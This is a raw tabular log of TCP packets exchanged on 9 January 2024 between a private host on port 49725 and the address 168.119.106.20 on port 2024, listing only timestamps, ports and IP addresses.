Jan 9, 2024 15:46:51.362673998 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362713099 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362713099 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362822056 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362893105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362915039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362945080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362983942 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362983942 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363003969 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363065958 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363085032 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363132954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363173008 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363173008 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363238096 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363287926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363306046 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363347054 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363384962 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363384962 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363403082 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363504887 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363526106 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363563061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363604069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363604069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363635063 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363699913 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363719940 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363768101 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363806963 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363806963 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.363857031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363933086 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.363951921 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364031076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364072084 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364072084 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364111900 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364214897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364236116 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364326954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364368916 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364368916 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364377975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364483118 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364502907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364567041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364608049 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364608049 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.364666939 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364979029 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.364999056 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365154982 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365194082 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365194082 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365509033 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365637064 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365654945 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365724087 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365767002 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365767002 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365798950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365863085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365881920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365942001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.365978003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365978003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.365994930 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366058111 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366077900 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366116047 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366153002 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366153002 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366172075 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366229057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366245985 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366312981 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366349936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366349936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366388083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366493940 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366513014 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366560936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366600037 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366600037 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366631031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366710901 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366729975 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366772890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366812944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366812944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.366880894 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366949081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.366967916 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367008924 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367047071 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367047071 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367086887 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367157936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367177963 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367219925 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367264032 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367264032 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367294073 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367372036 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367392063 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367434978 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367474079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367474079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367505074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367566109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367588043 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367594957 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367634058 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367634058 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367691994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367755890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.367796898 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367796898 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.367818117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.369769096 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540009975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540076971 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540115118 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540118933 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540118933 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540129900 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540158033 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540182114 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540231943 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540263891 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540277004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540283918 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540319920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540319920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540410995 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540446997 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540488958 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540488958 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540576935 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540611982 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540638924 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540657997 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540730953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540764093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.540786982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.540843010 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.541039944 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.541109085 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543312073 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543365955 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543454885 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543469906 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543590069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543605089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543618917 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543663025 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543663025 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543781042 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543795109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.543826103 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543916941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.543917894 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544044018 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544058084 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544069052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544096947 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544096947 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544189930 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544245005 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544332027 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544373035 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544395924 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544410944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544553041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544565916 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544615030 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544615030 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544684887 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544727087 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.544904947 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544917107 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544929028 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.544996977 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545350075 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545365095 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545376062 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545386076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545392990 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545425892 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545471907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545490980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545504093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545522928 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545541048 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545598030 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545717955 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545732021 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.545773983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.545789957 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546011925 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546025991 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546093941 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546103954 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546103954 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546189070 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546227932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546227932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546281099 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546293974 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546323061 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546354055 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546621084 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546636105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546648026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546658993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546667099 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546691895 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546758890 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546772003 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546786070 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.546814919 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546875000 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.546957016 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.547013998 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548269987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548286915 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548297882 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548309088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548326015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548336029 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548341036 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548353910 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548355103 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548369884 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548378944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548394918 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548439026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548451900 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548451900 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548465967 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548477888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548489094 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548491001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548504114 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548511028 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548518896 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548523903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548552990 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548556089 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548568010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548580885 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548582077 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548600912 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548635006 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548657894 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548732042 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548928022 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548940897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.548964977 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.548984051 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549026012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549053907 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549067020 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549089909 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549089909 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549151897 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549173117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549283981 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549370050 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549382925 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549420118 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549519062 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549532890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549560070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549607038 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549631119 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549659014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549701929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549701929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549853086 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549866915 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.549907923 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.549940109 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550107956 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550134897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550154924 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550174952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550268888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550282001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550318003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550421953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550456047 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550478935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550494909 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550597906 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550611973 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550633907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550666094 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550750017 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550762892 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550791979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550827026 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.550908089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.550962925 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.551286936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551315069 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551330090 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551342010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551353931 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551367044 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551441908 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.551470995 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551485062 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551496029 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551508904 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551508904 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.551516056 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.551525116 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.551549911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.551573038 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552280903 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552330971 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552431107 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552443981 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552495003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552572966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552587032 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552608967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552653074 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552683115 CET	2024	49725	168.119.106.20	192.168.2.10
